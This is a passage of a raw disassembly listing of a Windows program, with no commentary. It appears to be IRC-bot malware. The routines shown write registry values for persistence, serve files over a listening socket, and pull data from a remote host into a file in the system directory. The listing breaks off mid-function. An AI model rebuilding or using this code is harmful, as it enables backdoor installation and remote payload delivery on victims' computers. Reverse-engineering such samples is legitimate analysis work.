loc_40AFF9: ; CODE XREF: sub_40AF80+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_40AF80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B000 proc near ; CODE XREF: sub_40CD3A+5551p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_42BA38
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
xor edi, edi
mov esi, offset dword_440E18
loc_40B02A: ; CODE XREF: sub_40B000+72j
cmp byte ptr [esi], 0
jz short loc_40B065
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_42BA2C
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41588A
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 2Ch
loc_40B065: ; CODE XREF: sub_40B000+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_441998
jl short loc_40B02A
pop edi
pop esi
leave
retn
sub_40B000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B078 proc near ; CODE XREF: start+97p sub_4010B2+32Cp ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call dword_42105C ; GetLocalTime
mov ebx, offset dword_440DE0
mov edi, 80h
mov esi, offset dword_43CDE0
loc_40B09A: ; CODE XREF: sub_40B078+3Dj
cmp byte ptr [ebx], 0
jz short loc_40B0B1
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_416BE0
add esp, 0Ch
loc_40B0B1: ; CODE XREF: sub_40B078+25j
sub ebx, edi
cmp ebx, esi
jge short loc_40B09A
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41588A
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_40B078 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B0EC proc near ; CODE XREF: sub_407B36+148p
; sub_407CBD+15Cp ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41732F
lea eax, [ebp+var_80]
push eax
call sub_40B078
add esp, 14h
leave
retn
sub_40B0EC endp
; =============== S U B R O U T I N E =======================================
sub_40B118 proc near ; CODE XREF: sub_40CD3A+5449p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_43CDE0
xor ecx, ecx
loc_40B11F: ; CODE XREF: sub_40B118+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_440DE0
jl short loc_40B11F
cmp [esp+arg_C], ecx
push esi
mov esi, offset dword_42BA6C
jnz short loc_40B14F
push ecx
push [esp+8+arg_8]
push esi
push [esp+10h+arg_4]
push [esp+14h+arg_0]
call sub_412BD1
add esp, 14h
loc_40B14F: ; CODE XREF: sub_40B118+1Fj
push esi
call sub_40B078
pop ecx
pop esi
retn
sub_40B118 endp
; =============== S U B R O U T I N E =======================================
sub_40B158 proc near ; CODE XREF: sub_4033B6+298p
arg_0 = dword ptr 4
push esi
mov esi, offset dword_43CDE0
loc_40B15E: ; CODE XREF: sub_40B158+27j
cmp byte ptr [esi], 0
jz short loc_40B173
push [esp+4+arg_0]
push esi
call sub_409A63
pop ecx
test eax, eax
pop ecx
jnz short loc_40B185
loc_40B173: ; CODE XREF: sub_40B158+9j
add esi, 80h
cmp esi, offset dword_440DE0
jl short loc_40B15E
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B185: ; CODE XREF: sub_40B158+19j
xor eax, eax
pop esi
inc eax
retn
sub_40B158 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B18A proc near ; DATA XREF: sub_40CD3A+54FCo
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
xor edx, edx
rep movsd
xor edi, edi
mov [ebp+var_8], 80h
inc edi
cmp [ebp+var_10], edx
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_40B1DD
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_42BAD4
push eax
push [ebp+var_11C]
call sub_412BD1
add esp, 14h
loc_40B1DD: ; CODE XREF: sub_40B18A+33j
cmp [ebp+var_98], 0
jz short loc_40B1FD
lea eax, [ebp+var_98]
push eax
call sub_41587F
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_40B1FD
mov [ebp+var_8], eax
loc_40B1FD: ; CODE XREF: sub_40B18A+5Aj
; sub_40B18A+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_43CDE0
loc_40B206: ; CODE XREF: sub_40B18A+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_40B260
cmp byte ptr [esi], 0
jz short loc_40B24F
cmp [ebp+var_98], 0
jz short loc_40B235
cmp [ebp+var_4], 0
jnz short loc_40B235
lea eax, [ebp+var_98]
push eax
push esi
call sub_409A63
pop ecx
test eax, eax
pop ecx
jz short loc_40B24F
loc_40B235: ; CODE XREF: sub_40B18A+90j
; sub_40B18A+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_412BD1
add esp, 14h
loc_40B24F: ; CODE XREF: sub_40B18A+87j
; sub_40B18A+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_440DE0
jl short loc_40B206
loc_40B260: ; CODE XREF: sub_40B18A+82j
lea eax, [ebp+var_31C]
push offset dword_42BAA4
push eax
call sub_415316
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_40B29A
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_412BD1
add esp, 14h
loc_40B29A: ; CODE XREF: sub_40B18A+EEj
lea eax, [ebp+var_31C]
push eax
call sub_40B078
push [ebp+var_18]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
sub_40B18A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2B9 proc near ; CODE XREF: sub_409D34+1Ep
; sub_40C574+341p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov ebx, offset dword_42C2D4
loc_40B2C9: ; CODE XREF: sub_40B2B9+6Aj
lea eax, [ebp+var_4]
push edi
push eax
push edi
push 0F003Fh
push edi
push edi
push edi
push off_42BAFC[esi]
push dword_42BAF8[esi]
call dword_43C9D8 ; RegCreateKeyExA
cmp [ebp+arg_0], edi
jz short loc_40B30A
push [ebp+arg_0]
call sub_415B10
pop ecx
push eax
push [ebp+arg_0]
push 1
push edi
push ebx
push [ebp+var_4]
call dword_43CA48 ; RegSetValueExA
jmp short loc_40B314
; ---------------------------------------------------------------------------
loc_40B30A: ; CODE XREF: sub_40B2B9+33j
push ebx
push [ebp+var_4]
call dword_43C990 ; RegDeleteValueA
loc_40B314: ; CODE XREF: sub_40B2B9+4Fj
push [ebp+var_4]
call dword_43CA00 ; RegCloseKey
add esi, 8
cmp esi, 18h
jb short loc_40B2C9
pop edi
pop esi
pop ebx
leave
retn
sub_40B2B9 endp
; =============== S U B R O U T I N E =======================================
sub_40B32A proc near ; CODE XREF: sub_40B363+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
or esi, 0FFFFFFFFh
test edi, edi
jz short loc_40B35C
mov ecx, 0FFh
push ebx
loc_40B341: ; CODE XREF: sub_40B32A+2Fj
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_421260[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_40B341
pop ebx
loc_40B35C: ; CODE XREF: sub_40B32A+Fj
mov eax, esi
pop edi
not eax
pop esi
retn
sub_40B32A endp
; =============== S U B R O U T I N E =======================================
sub_40B363 proc near ; CODE XREF: sub_40BBF7+23Fp
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_415BE9
mov [esp+10h+var_10], offset aRb ; "rb"
push [esp+10h+arg_0]
mov esi, eax
call sub_415A08
mov edi, eax
pop ecx
test edi, edi
pop ecx
jnz short loc_40B3AE
loc_40B388: ; CODE XREF: sub_40B363+37j
xor eax, eax
jmp short loc_40B3CF
; ---------------------------------------------------------------------------
loc_40B38C: ; CODE XREF: sub_40B363+4Fj
inc ebx
push ebx
push esi
call sub_41737F
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40B388
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_416A57
add esp, 10h
loc_40B3AE: ; CODE XREF: sub_40B363+23j
test byte ptr [edi+0Ch], 10h
jz short loc_40B38C
dec ebx
push ebx
push esi
call sub_40B32A
push esi
mov ebx, eax
call sub_415C9B
push edi
call sub_415960
add esp, 10h
mov eax, ebx
loc_40B3CF: ; CODE XREF: sub_40B363+27j
pop edi
pop esi
pop ebx
retn
sub_40B363 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B3D3 proc near ; CODE XREF: sub_40B459+33p
; sub_40B9BC+BCp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_43CAA4 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_40B44F
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_43CA24 ; ntohs
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_43CA64 ; inet_addr
cmp eax, esi
jnz short loc_40B434
push [ebp+arg_0]
call dword_43CAA8 ; gethostbyname
test eax, eax
jz short loc_40B44F
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_40B434: ; CODE XREF: sub_40B3D3+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_43C9CC ; connect
cmp eax, esi
jnz short loc_40B453
push edi
call dword_43CABC ; closesocket
loc_40B44F: ; CODE XREF: sub_40B3D3+1Bj
; sub_40B3D3+58j
mov eax, esi
jmp short loc_40B455
; ---------------------------------------------------------------------------
loc_40B453: ; CODE XREF: sub_40B3D3+73j
mov eax, edi
loc_40B455: ; CODE XREF: sub_40B3D3+7Ej
pop edi
pop esi
leave
retn
sub_40B3D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B459 proc near ; DATA XREF: sub_40CD3A+A26o
var_11B4 = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_415B90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push [ebp+var_14]
xor esi, esi
inc esi
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_40B3D3
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_40B4EC
lea eax, [ebp+var_11B4]
push offset dword_42BB9C
push eax
call sub_415316
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40B4CF
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_412BD1
add esp, 14h
loc_40B4CF: ; CODE XREF: sub_40B459+59j
lea eax, [ebp+var_11B4]
push eax
call sub_40B078
push [ebp+var_10]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40B4EC: ; CODE XREF: sub_40B459+3Fj
push offset byte_43B658
push ebx
call sub_40A71A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_40B557
lea eax, [ebp+var_11B4]
push offset dword_42BB58
push eax
call sub_415316
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40B533
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_412BD1
add esp, 14h
loc_40B533: ; CODE XREF: sub_40B459+BDj
lea eax, [ebp+var_11B4]
push eax
call sub_40B078
pop ecx
push ebx
call dword_43CABC ; closesocket
push [ebp+var_10]
call sub_4150F0
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40B557: ; CODE XREF: sub_40B459+A3j
push 64h
call dword_421060 ; Sleep
xor edi, edi
mov esi, 1000h
loc_40B566: ; CODE XREF: sub_40B459+168j
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_11B4]
push edi
push esi
push eax
push ebx
call dword_43CA3C ; recv
test eax, eax
jle short loc_40B5C3
lea eax, [ebp+var_11B4]
push offset asc_426CF0 ; "\n"
push eax
call sub_415A30
lea eax, [ebp+var_11B4]
push eax
call sub_40A506
add esp, 0Ch
test eax, eax
jz short loc_40B5C3
push 64h
call dword_421060 ; Sleep
push 7
call sub_41501C
test eax, eax
pop ecx
jnz short loc_40B566
loc_40B5C3: ; CODE XREF: sub_40B459+130j
; sub_40B459+154j
lea eax, [ebp+var_11B4]
push offset dword_42BB10
push eax
call sub_415316
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_40B5F6
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_412BD1
add esp, 14h
loc_40B5F6: ; CODE XREF: sub_40B459+180j
lea eax, [ebp+var_11B4]
push eax
call sub_40B078
pop ecx
push ebx
call dword_43CABC ; closesocket
push [ebp+var_10]
call sub_4150F0
pop ecx
push edi
call dword_421048 ; ExitThread
sub_40B459 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B61A proc near ; DATA XREF: sub_40CD3A+46A9o
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
xor ebx, ebx
xor esi, esi
inc ebx
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_10], esi
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_43CAA4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_40B668
push offset dword_42BD3C
jmp loc_40B821
; ---------------------------------------------------------------------------
loc_40B668: ; CODE XREF: sub_40B61A+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call dword_43CA24 ; ntohs
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_43CA50 ; bind
test eax, eax
jz short loc_40B6A6
push offset dword_42BD04
jmp loc_40B821
; ---------------------------------------------------------------------------
loc_40B6A6: ; CODE XREF: sub_40B61A+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call dword_43C9C8 ; getsockname
push [ebp+var_2E]
call dword_43C960 ; ntohs
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_415B10
pop ecx
loc_40B6D8: ; CODE XREF: sub_40B61A+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_40B6EB
push 5Fh
pop eax
jmp short loc_40B6EE
; ---------------------------------------------------------------------------
loc_40B6EB: ; CODE XREF: sub_40B61A+CAj
movsx eax, al
loc_40B6EE: ; CODE XREF: sub_40B61A+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_415B10
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_40B6D8
push ebx
push edi
call dword_43CA4C ; listen
test eax, eax
jz short loc_40B721
push offset dword_42BB9C
jmp loc_40B821
; ---------------------------------------------------------------------------
loc_40B721: ; CODE XREF: sub_40B61A+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
call dword_421078 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_40B74B
push offset dword_42BCD0
jmp loc_40B821
; ---------------------------------------------------------------------------
loc_40B74B: ; CODE XREF: sub_40B61A+125j
push esi
push eax
call dword_421090 ; GetFileSize
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40A08A
pop ecx
push eax
call dword_43CA64 ; inet_addr
push eax
call dword_43CA20 ; ntohl
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_42BCB8
push eax
call sub_415316
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_412BD1
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_43CA0C ; select
test eax, eax
jg short loc_40B7FB
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_42BC8C
push eax
push [ebp+var_1FC]
call sub_412BD1
jmp loc_40B91F
; ---------------------------------------------------------------------------
loc_40B7FB: ; CODE XREF: sub_40B61A+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_43CAB8 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_40B834
push offset dword_42BC54
loc_40B821: ; CODE XREF: sub_40B61A+49j
; sub_40B61A+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_415316
pop ecx
pop ecx
jmp loc_40B922
; ---------------------------------------------------------------------------
loc_40B834: ; CODE XREF: sub_40B61A+200j
push edi
call dword_43CABC ; closesocket
cmp [ebp+arg_0], esi
jz loc_40B8E6
mov edi, 400h
loc_40B849: ; CODE XREF: sub_40B61A+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_40B856
mov [ebp+var_4], eax
loc_40B856: ; CODE XREF: sub_40B61A+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_415390
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call dword_4210AC ; SetFilePointer
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call dword_421068 ; ReadFile
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_43CA74 ; send
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_43CA3C ; recv
cmp eax, ebx
jl loc_40B97B
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_40B97B
sub [ebp+arg_0], eax
jnz loc_40B849
mov edi, [ebp+var_18]
loc_40B8E6: ; CODE XREF: sub_40B61A+224j
push [ebp+var_8]
call dword_42106C ; CloseHandle
push [ebp+var_C]
push [ebp+var_10]
call sub_40C10D
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1E0]
push eax
push [ebp+var_44]
call dword_43CAB0 ; inet_ntoa
push eax
lea eax, [ebp+var_3FC]
push offset dword_42BC00
push eax
call sub_415316
loc_40B91F: ; CODE XREF: sub_40B61A+1DCj
add esp, 14h
loc_40B922: ; CODE XREF: sub_40B61A+215j
cmp [ebp+var_50], esi
jnz short loc_40B947
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_412BD1
add esp, 14h
loc_40B947: ; CODE XREF: sub_40B61A+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_40B078
cmp edi, esi
pop ecx
jbe short loc_40B95F
push edi
call dword_43CABC ; closesocket
loc_40B95F: ; CODE XREF: sub_40B61A+33Cj
push [ebp+var_1F8]
call dword_43CABC ; closesocket
push [ebp+var_58]
call sub_4150F0
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40B97B: ; CODE XREF: sub_40B61A+2AFj
; sub_40B61A+2BAj
push esi
mov esi, offset dword_42BBD4
push [ebp+var_54]
lea eax, [ebp+var_DC]
push esi
push eax
push [ebp+var_1FC]
call sub_412BD1
push esi
call sub_40B078
add esp, 18h
push [ebp+var_1F8]
call dword_43CABC ; closesocket
push [ebp+var_58]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_40B61A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B9BC proc near ; DATA XREF: sub_40CD3A+77Co
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_415B90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
xor esi, esi
xor ebx, ebx
inc esi
push 104h
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push eax
mov [ebp+var_8], ebx
call dword_421058 ; GetSystemDirectoryA
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_2C4]
push offset aSS_2 ; "%s%s"
push eax
call sub_415316
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call dword_421078 ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_40BA46
push offset dword_42BE48
jmp short loc_40BA8C
; ---------------------------------------------------------------------------
loc_40BA46: ; CODE XREF: sub_40B9BC+81j
push eax
call dword_42106C ; CloseHandle
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_415A08
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_40BA6E
push offset dword_42BE04
jmp short loc_40BA8C
; ---------------------------------------------------------------------------
loc_40BA6E: ; CODE XREF: sub_40B9BC+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_40B3D3
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_40BA9F
push offset dword_42BDD0
loc_40BA8C: ; CODE XREF: sub_40B9BC+88j
; sub_40B9BC+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_415316
pop ecx
pop ecx
jmp loc_40BB99
; ---------------------------------------------------------------------------
loc_40BA9F: ; CODE XREF: sub_40B9BC+C9j
mov esi, 1000h
loc_40BAA4: ; CODE XREF: sub_40B9BC+14Ej
push esi
lea eax, [ebp+var_14C4]
push ebx
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_43CA3C ; recv
mov edi, eax
cmp edi, ebx
jz loc_40BB6B
cmp edi, 0FFFFFFFFh
jz short loc_40BB0C
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_41761F
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_43CA20 ; ntohl
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_43CA74 ; send
jmp short loc_40BAA4
; ---------------------------------------------------------------------------
loc_40BB0C: ; CODE XREF: sub_40B9BC+118j
lea eax, [ebp+var_4C4]
push offset dword_42BBD4
push eax
call sub_415316
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_412BD1
lea eax, [ebp+var_4C4]
push eax
call sub_40B078
push [ebp+var_4]
call sub_415960
add esp, 24h
push [ebp+arg_0]
call dword_43CABC ; closesocket
push [ebp+var_1C]
call sub_4150F0
pop ecx
push 1
call dword_421048 ; ExitThread
loc_40BB6B: ; CODE XREF: sub_40B9BC+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40C10D
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_4C4]
push offset dword_42BD78
push eax
call sub_415316
add esp, 1Ch
loc_40BB99: ; CODE XREF: sub_40B9BC+DEj
cmp [ebp+var_14], ebx
jnz short loc_40BBBE
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_412BD1
add esp, 14h
loc_40BBBE: ; CODE XREF: sub_40B9BC+1E0j
lea eax, [ebp+var_4C4]
push eax
call sub_40B078
cmp [ebp+var_4], ebx
pop ecx
jz short loc_40BBD9
push [ebp+var_4]
call sub_415960
pop ecx
loc_40BBD9: ; CODE XREF: sub_40B9BC+212j
cmp [ebp+arg_0], ebx
jbe short loc_40BBE7
push [ebp+arg_0]
call dword_43CABC ; closesocket
loc_40BBE7: ; CODE XREF: sub_40B9BC+220j
push [ebp+var_1C]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_40B9BC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BBF7 proc near ; DATA XREF: sub_40CD3A+3646o
; sub_40CD3A+3DA2o
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
rep movsd
xor edi, edi
xor esi, esi
inc edi
push esi
mov [eax+2A4h], edi
push esi
push esi
